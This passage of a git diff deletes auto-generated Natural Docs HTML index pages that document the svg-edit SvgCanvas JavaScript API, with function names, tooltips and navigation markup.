id="tt10"><div class=CFunction>Re-removes the new element</div></div><div class=CToolTip id="tt11"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var assignAttributes = this.assignAttributes = function(</td><td class=PParameter nowrap>node,</td></tr><tr><td></td><td class=PParameter nowrap>attrs,</td></tr><tr><td></td><td class=PParameter nowrap>suspendLength,</td></tr><tr><td></td><td class=PParameter nowrap>unitCheck</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Assigns multiple attributes to an element.</div></div><!--END_ND_TOOLTIPS-->
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-<div class=CToolTip id="tt12"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var BatchCommand = this.undoCmd.batch = function(</td><td class=PParameter nowrap>text</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>History command that can contain/execute multiple other commands</div></div><div class=CToolTip id="tt13"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>c.beginUndoableChange = function(</td><td class=PParameter nowrap>attrName,</td></tr><tr><td></td><td class=PParameter nowrap>elems</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>This function tells the canvas to remember the old values of the attrName attribute for each element sent in. </div></div><div class=CToolTip id="tt14"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>c.bind = function(</td><td class=PParameter nowrap>event,</td></tr><tr><td></td><td class=PParameter nowrap>f</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Attaches a callback function to an event</div></div><!--END_ND_TOOLTIPS-->
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-<div class=CToolTip id="tt15"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var ChangeElementCommand = this.undoCmd.changeElement = function(</td><td class=PParameter nowrap>elem,</td></tr><tr><td></td><td class=PParameter nowrap>attrs,</td></tr><tr><td></td><td class=PParameter nowrap>text</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>History command to make a change to an element. </div></div><div class=CToolTip id="tt16"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var changeSelectedAttribute = this.changeSelectedAttribute = function(</td><td class=PParameter nowrap>attr,</td></tr><tr><td></td><td class=PParameter nowrap>val,</td></tr><tr><td></td><td class=PParameter nowrap>elems</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Change the given/selected element and add the original value to the history stack If you want to change all selectedElements, ignore the elems argument. </div></div><div class=CToolTip id="tt17"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var changeSelectedAttributeNoUndo = function(</td><td class=PParameter nowrap>attr,</td></tr><tr><td></td><td class=PParameter nowrap>newValue,</td></tr><tr><td></td><td class=PParameter nowrap>elems</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>This function makes the changes to the elements. </div></div><div class=CToolTip id="tt18"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var cleanupElement = this.cleanupElement = function(</td><td class=PParameter nowrap>element</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Remove unneeded (default) attributes, makes resulting SVG smaller</div></div><div class=CToolTip id="tt19"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.clear = function()</td></tr></table></blockquote>Clears the current document. </div></div><div class=CToolTip id="tt20"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var clearSelection = this.clearSelection = function(</td><td class=PParameter nowrap>noCall</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Clears the selection. </div></div><div class=CToolTip id="tt21"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.cloneSelectedElements = function()</td></tr></table></blockquote>Create deep DOM copies (clones) of all selected elements and move them slightly from their originals</div></div><div class=CToolTip id="tt22"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>convertToNum = function(</td><td class=PParameter nowrap>attr,</td></tr><tr><td></td><td class=PParameter nowrap>val</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Converts given values to numbers. </div></div><div class=CToolTip id="tt23"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.convertToPath = function(</td><td class=PParameter nowrap>elem,</td></tr><tr><td></td><td class=PParameter nowrap>getBBox</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Convert selected element to a path, or get the BBox of an element-as-path</div></div><div class=CToolTip id="tt24"><div class=CFunction>Converts a string to use XML references</div></div><div class=CToolTip id="tt25"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var copyElem = function(</td><td class=PParameter nowrap>el</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Create a clone of an element, updating its ID and its children&rsquo;s IDs when needed</div></div><div class=CToolTip id="tt26"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.createLayer = function(</td><td class=PParameter nowrap>name</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Creates a new top-level layer in the drawing with the given name, sets the current layer to it, and then clears the selection  This function then calls the &lsquo;changed&rsquo; handler. </div></div><div class=CToolTip id="tt27"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.cycleElement = function(</td><td class=PParameter nowrap>next</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Select the next/previous element within the current layer</div></div><!--END_ND_TOOLTIPS-->
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-
-<!--START_ND_TOOLTIPS-->
-<div class=CToolTip id="tt28"><div class=CFunction>Converts a string from base64</div></div><div class=CToolTip id="tt29"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.deleteCurrentLayer = function()</td></tr></table></blockquote>Deletes the current layer from the drawing and then clears the selection. </div></div><div class=CToolTip id="tt30"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.deleteSelectedElements = function()</td></tr></table></blockquote>Removes all selected elements from the DOM and adds the change to the history stack</div></div><!--END_ND_TOOLTIPS-->
-
-
-<!--START_ND_TOOLTIPS-->
-<div class=CToolTip id="tt31"><div class=CFunction>Iterate through all our subcommands and returns all the elements we are changing</div></div><div class=CToolTip id="tt32"><div class=CFunction>Returns array with element associated with this command</div></div><div class=CToolTip id="tt33"><div class=CFunction>Returns array with element associated with this command</div></div><div class=CToolTip id="tt34"><div class=CFunction>Returns array with element associated with this command</div></div><div class=CToolTip id="tt35"><div class=CFunction>Returns array with element associated with this command</div></div><div class=CToolTip id="tt36"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.embedImage = function(</td><td class=PParameter nowrap>val,</td></tr><tr><td></td><td class=PParameter nowrap>callback</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Converts a given image file to a data URL when possible, then runs a given callback</div></div><div class=CToolTip id="tt37"><div class=CFunction>Converts a string to base64</div></div><!--END_ND_TOOLTIPS-->
-
-
-<!--START_ND_TOOLTIPS-->
-<div class=CToolTip id="tt38"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var ffClone = function(</td><td class=PParameter nowrap>elem</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Hack for Firefox bugs where text element features aren&rsquo;t updated. </div></div><div class=CToolTip id="tt39"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>var findDefs = function()</td></tr></table></blockquote>Return the document&rsquo;s defs element, create it first if necessary</div></div><div class=CToolTip id="tt40"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var findDuplicateGradient = function(</td><td class=PParameter nowrap>grad</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Check if exact gradient already exists</div></div><div class=CToolTip id="tt41"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>c.finishUndoableChange = function()</td></tr></table></blockquote>This function returns a BatchCommand object which summarizes the change since beginUndoableChange was called. </div></div><div class=CToolTip id="tt42"><div class=CFunction>Converts XML entities in a string to single characters. </div></div><!--END_ND_TOOLTIPS-->
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-</div><!--Index-->
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-<div id=Footer><a href="http://www.naturaldocs.org">Generated by Natural Docs</a></div><!--Footer-->
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-<div id=Menu><div class=MEntry><div class=MFile><a href="../files/extensions/ext-foreignobject-js.html">setForeignString(xmlString, elt)</a></div></div><div class=MEntry><div class=MFile><a href="../files/svgcanvas-js.html">SvgCanvas</a></div></div><div class=MEntry><div class=MGroup><a href="javascript:ToggleMenu('MGroupContent1')">Index</a><div class=MGroupContent id=MGroupContent1><div class=MEntry><div class=MIndex><a href="General.html">Everything</a></div></div><div class=MEntry><div class=MIndex><a href="Classes.html">Classes</a></div></div><div class=MEntry><div class=MIndex id=MSelected>Functions</div></div><div class=MEntry><div class=MIndex><a href="Interfaces.html">Interfaces</a></div></div></div></div></div><script type="text/javascript"><!--
-var searchPanel = new SearchPanel("searchPanel", "HTML", "../search");
---></script><div id=MSearchPanel class=MSearchPanelInactive><input type=text id=MSearchField value=Search onFocus="searchPanel.OnSearchFieldFocus(true)" onBlur="searchPanel.OnSearchFieldFocus(false)" onKeyUp="searchPanel.OnSearchFieldChange()"><select id=MSearchType onFocus="searchPanel.OnSearchTypeFocus(true)" onBlur="searchPanel.OnSearchTypeFocus(false)" onChange="searchPanel.OnSearchTypeChange()"><option  id=MSearchEverything selected value="General">Everything</option><option value="Classes">Classes</option><option value="Functions">Functions</option><option value="Interfaces">Interfaces</option></select></div></div><!--Menu-->
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-if (browserType) {if (browserVer) {document.write("</div>"); }document.write("</div>");}// --></script></body></html>
\ No newline at end of file
diff --git a/public/svg-edit/docs/index/General.html b/public/svg-edit/docs/index/General.html
deleted file mode 100644
index 69d5a0b5..00000000
--- a/public/svg-edit/docs/index/General.html
+++ /dev/null
@@ -1,53 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">
-
-<html><head><title>Index</title><link rel="stylesheet" type="text/css" href="../styles/main.css"><script language=JavaScript src="../javascript/main.js"></script><script language=JavaScript src="../javascript/searchdata.js"></script></head><body class="IndexPage" onLoad="NDOnLoad()"><script language=JavaScript><!--
-if (browserType) {document.write("<div class=" + browserType + ">");if (browserVer) {document.write("<div class=" + browserVer + ">"); }}// --></script>
-
-<!--  Generated by Natural Docs, version 1.4 -->
-<!--  http://www.naturaldocs.org  -->
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-<!-- saved from url=(0026)http://www.naturaldocs.org -->
-
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-
-
-<div id=Index><div class=IPageTitle>Index</div><div class=INavigationBar>$#! &middot; 0-9 &middot; <a href="#A">A</a> &middot; <a href="#B">B</a> &middot; <a href="#C">C</a> &middot; <a href="#D">D</a> &middot; <a href="#E">E</a> &middot; <a href="#F">F</a> &middot; <a href="General2.html#G">G</a> &middot; <a href="General2.html#H">H</a> &middot; <a href="General2.html#I">I</a> &middot; J &middot; K &middot; <a href="General2.html#L">L</a> &middot; <a href="General2.html#M">M</a> &middot; N &middot; O &middot; <a href="General2.html#P">P</a> &middot; Q &middot; <a href="General2.html#R">R</a> &middot; <a href="General3.html#S">S</a> &middot; <a href="General3.html#T">T</a> &middot; <a href="General3.html#U">U</a> &middot; V &middot; <a href="General3.html#W">W</a> &middot; X &middot; Y &middot; Z</div><table border=0 cellspacing=0 cellpadding=0><tr><td class=IHeading id=IFirstHeading><a name="A"></a>A</td><td></td></tr><tr><td class=ISymbolPrefix id=IFirstSymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.addCommandToHistory" id=link1 onMouseOver="ShowTip(event, 'tt1', 'link1')" onMouseOut="HideTip('tt1')" class=ISymbol>addCommandToHistory</a>, <span class=IParent>SvgCanvas</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.addExtension" id=link2 onMouseOver="ShowTip(event, 'tt2', 'link2')" onMouseOut="HideTip('tt2')" class=ISymbol>addExtension</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.Additional_editor_tools"  class=ISymbol>Additional editor tools</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.BatchCommand.addSubCommand" id=link3 onMouseOver="ShowTip(event, 'tt3', 'link3')" onMouseOut="HideTip('tt3')" class=ISymbol>addSubCommand</a>, <span class=IParent>SvgCanvas.<wbr>BatchCommand</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.addSvgElementFromJson" id=link4 onMouseOver="ShowTip(event, 'tt4', 'link4')" onMouseOut="HideTip('tt4')" class=ISymbol>addSvgElementFromJson</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.addToSelection" id=link5 onMouseOver="ShowTip(event, 'tt5', 'link5')" onMouseOut="HideTip('tt5')" class=ISymbol>addToSelection</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.alignSelectedElements" id=link6 onMouseOver="ShowTip(event, 'tt6', 'link6')" onMouseOut="HideTip('tt6')" class=ISymbol>alignSelectedElements</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><span class=ISymbol>apply</span><div class=ISubIndex><a href="../files/svgcanvas-js.html#SvgCanvas.BatchCommand.apply" id=link7 onMouseOver="ShowTip(event, 'tt7', 'link7')" onMouseOut="HideTip('tt7')" class=IParent>SvgCanvas.<wbr>BatchCommand</a><a href="../files/svgcanvas-js.html#SvgCanvas.ChangeElementCommand.apply" id=link8 onMouseOver="ShowTip(event, 'tt8', 'link8')" onMouseOut="HideTip('tt8')" class=IParent>SvgCanvas.<wbr>ChangeElementCommand</a><a href="../files/svgcanvas-js.html#SvgCanvas.InsertElementCommand.apply" id=link9 onMouseOver="ShowTip(event, 'tt9', 'link9')" onMouseOut="HideTip('tt9')" class=IParent>SvgCanvas.<wbr>InsertElementCommand</a><a href="../files/svgcanvas-js.html#SvgCanvas.RemoveElementCommand.apply" id=link10 onMouseOver="ShowTip(event, 'tt10', 'link10')" onMouseOut="HideTip('tt10')" class=IParent>SvgCanvas.<wbr>RemoveElementCommand</a></div></td></tr><tr><td class=ISymbolPrefix id=ILastSymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.assignAttributes" id=link11 onMouseOver="ShowTip(event, 'tt11', 'link11')" onMouseOut="HideTip('tt11')" class=ISymbol>assignAttributes</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=IHeading><a name="B"></a>B</td><td></td></tr><tr><td class=ISymbolPrefix id=IFirstSymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.BatchCommand" id=link12 onMouseOver="ShowTip(event, 'tt12', 'link12')" onMouseOut="HideTip('tt12')" class=ISymbol>BatchCommand</a>, <span class=IParent>SvgCanvas</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.beginUndoableChange" id=link13 onMouseOver="ShowTip(event, 'tt13', 'link13')" onMouseOut="HideTip('tt13')" class=ISymbol>beginUndoableChange</a>, <span class=IParent>SvgCanvas</span></td></tr><tr><td class=ISymbolPrefix id=ILastSymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.bind" id=link14 onMouseOver="ShowTip(event, 'tt14', 'link14')" onMouseOut="HideTip('tt14')" class=ISymbol>bind</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=IHeading><a name="C"></a>C</td><td></td></tr><tr><td class=ISymbolPrefix id=IFirstSymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.ChangeElementCommand" id=link15 onMouseOver="ShowTip(event, 'tt15', 'link15')" onMouseOut="HideTip('tt15')" class=ISymbol>ChangeElementCommand</a>, <span class=IParent>SvgCanvas</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.changeSelectedAttribute" id=link16 onMouseOver="ShowTip(event, 'tt16', 'link16')" onMouseOut="HideTip('tt16')" class=ISymbol>changeSelectedAttribute</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.changeSelectedAttributeNoUndo" id=link17 onMouseOver="ShowTip(event, 'tt17', 'link17')" onMouseOut="HideTip('tt17')" class=ISymbol>changeSelectedAttributeNoUndo</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.cleanupElement" id=link18 onMouseOver="ShowTip(event, 'tt18', 'link18')" onMouseOut="HideTip('tt18')" class=ISymbol>cleanupElement</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.clear" id=link19 onMouseOver="ShowTip(event, 'tt19', 'link19')" onMouseOut="HideTip('tt19')" class=ISymbol>clear</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.clearSelection" id=link20 onMouseOver="ShowTip(event, 'tt20', 'link20')" onMouseOut="HideTip('tt20')" class=ISymbol>clearSelection</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.cloneSelectedElements" id=link21 onMouseOver="ShowTip(event, 'tt21', 'link21')" onMouseOut="HideTip('tt21')" class=ISymbol>cloneSelectedElements</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.convertToNum" id=link22 onMouseOver="ShowTip(event, 'tt22', 'link22')" onMouseOut="HideTip('tt22')" class=ISymbol>convertToNum</a>, <span class=IParent>SvgCanvas</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.convertToPath" id=link23 onMouseOver="ShowTip(event, 'tt23', 'link23')" onMouseOut="HideTip('tt23')" class=ISymbol>convertToPath</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.Utils.convertToXMLReferences" id=link24 onMouseOver="ShowTip(event, 'tt24', 'link24')" onMouseOut="HideTip('tt24')" class=ISymbol>convertToXMLReferences</a>, <span class=IParent>SvgCanvas.<wbr>Utils</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.copyElem" id=link25 onMouseOver="ShowTip(event, 'tt25', 'link25')" onMouseOut="HideTip('tt25')" class=ISymbol>copyElem</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.createLayer" id=link26 onMouseOver="ShowTip(event, 'tt26', 'link26')" onMouseOut="HideTip('tt26')" class=ISymbol>createLayer</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix id=ILastSymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.cycleElement" id=link27 onMouseOver="ShowTip(event, 'tt27', 'link27')" onMouseOut="HideTip('tt27')" class=ISymbol>cycleElement</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=IHeading><a name="D"></a>D</td><td></td></tr><tr><td class=ISymbolPrefix id=IFirstSymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.Utils.decode64" id=link28 onMouseOver="ShowTip(event, 'tt28', 'link28')" onMouseOut="HideTip('tt28')" class=ISymbol>decode64</a>, <span class=IParent>SvgCanvas.<wbr>Utils</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.deleteCurrentLayer" id=link29 onMouseOver="ShowTip(event, 'tt29', 'link29')" onMouseOut="HideTip('tt29')" class=ISymbol>deleteCurrentLayer</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.deleteSelectedElements" id=link30 onMouseOver="ShowTip(event, 'tt30', 'link30')" onMouseOut="HideTip('tt30')" class=ISymbol>deleteSelectedElements</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix id=ILastSymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.Document_functions"  class=ISymbol>Document functions</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=IHeading><a name="E"></a>E</td><td></td></tr><tr><td class=ISymbolPrefix id=IFirstSymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.Element_manipulation"  class=ISymbol>Element manipulation</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.Element_Styling"  class=ISymbol>Element Styling</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.Element_Transforms"  class=ISymbol>Element Transforms</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><span class=ISymbol>elements</span><div class=ISubIndex><a href="../files/svgcanvas-js.html#SvgCanvas.BatchCommand.elements" id=link31 onMouseOver="ShowTip(event, 'tt31', 'link31')" onMouseOut="HideTip('tt31')" class=IParent>SvgCanvas.<wbr>BatchCommand</a><a href="../files/svgcanvas-js.html#SvgCanvas.ChangeElementCommand.elements" id=link32 onMouseOver="ShowTip(event, 'tt32', 'link32')" onMouseOut="HideTip('tt32')" class=IParent>SvgCanvas.<wbr>ChangeElementCommand</a><a href="../files/svgcanvas-js.html#SvgCanvas.InsertElementCommand.elements" id=link33 onMouseOver="ShowTip(event, 'tt33', 'link33')" onMouseOut="HideTip('tt33')" class=IParent>SvgCanvas.<wbr>InsertElementCommand</a><a href="../files/svgcanvas-js.html#SvgCanvas.MoveElementCommand.elements" id=link34 onMouseOver="ShowTip(event, 'tt34', 'link34')" onMouseOut="HideTip('tt34')" class=IParent>SvgCanvas.<wbr>MoveElementCommand</a><a href="../files/svgcanvas-js.html#SvgCanvas.RemoveElementCommand.elements" id=link35 onMouseOver="ShowTip(event, 'tt35', 'link35')" onMouseOut="HideTip('tt35')" class=IParent>SvgCanvas.<wbr>RemoveElementCommand</a></div></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.embedImage" id=link36 onMouseOver="ShowTip(event, 'tt36', 'link36')" onMouseOut="HideTip('tt36')" class=ISymbol>embedImage</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix id=ILastSymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.Utils.encode64" id=link37 onMouseOver="ShowTip(event, 'tt37', 'link37')" onMouseOut="HideTip('tt37')" class=ISymbol>encode64</a>, <span class=IParent>SvgCanvas.<wbr>Utils</span></td></tr><tr><td class=IHeading><a name="F"></a>F</td><td></td></tr><tr><td class=ISymbolPrefix id=IFirstSymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.ffClone" id=link38 onMouseOver="ShowTip(event, 'tt38', 'link38')" onMouseOut="HideTip('tt38')" class=ISymbol>ffClone</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.findDefs" id=link39 onMouseOver="ShowTip(event, 'tt39', 'link39')" onMouseOut="HideTip('tt39')" class=ISymbol>findDefs</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.findDuplicateGradient" id=link40 onMouseOver="ShowTip(event, 'tt40', 'link40')" onMouseOut="HideTip('tt40')" class=ISymbol>findDuplicateGradient</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.finishUndoableChange" id=link41 onMouseOver="ShowTip(event, 'tt41', 'link41')" onMouseOut="HideTip('tt41')" class=ISymbol>finishUndoableChange</a>, <span class=IParent>SvgCanvas</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.Utils.fromXml" id=link42 onMouseOver="ShowTip(event, 'tt42', 'link42')" onMouseOut="HideTip('tt42')" class=ISymbol>fromXml</a>, <span class=IParent>SvgCanvas.<wbr>Utils</span></td></tr><tr><td class=ISymbolPrefix id=ILastSymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#Selector.Functions"  class=ISymbol>Functions</a>, <span class=IParent>Selector</span></td></tr></table>
-<!--START_ND_TOOLTIPS-->
-<div class=CToolTip id="tt1"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>addCommandToHistory = c.undoCmd.add = function(</td><td class=PParameter nowrap>cmd</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Adds a command object to the undo history stack</div></div><div class=CToolTip id="tt2"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.addExtension = function(</td><td class=PParameter nowrap>name,</td></tr><tr><td></td><td class=PParameter nowrap>ext_func</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Add an extension to the editor</div></div><div class=CToolTip id="tt3"><div class=CFunction>Adds a given command to the history stack</div></div><div class=CToolTip id="tt4"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var addSvgElementFromJson = this.addSvgElementFromJson = function(</td><td class=PParameter nowrap>data</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Create a new SVG element based on the given object keys/values and add it to the current layer The element will be ran through cleanupElement before being returned</div></div><div class=CToolTip id="tt5"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var addToSelection = this.addToSelection = function(</td><td class=PParameter nowrap>elemsToAdd,</td></tr><tr><td></td><td class=PParameter nowrap>showGrips</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Adds a list of elements to the selection. </div></div><div class=CToolTip id="tt6"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.alignSelectedElements = function(</td><td class=PParameter 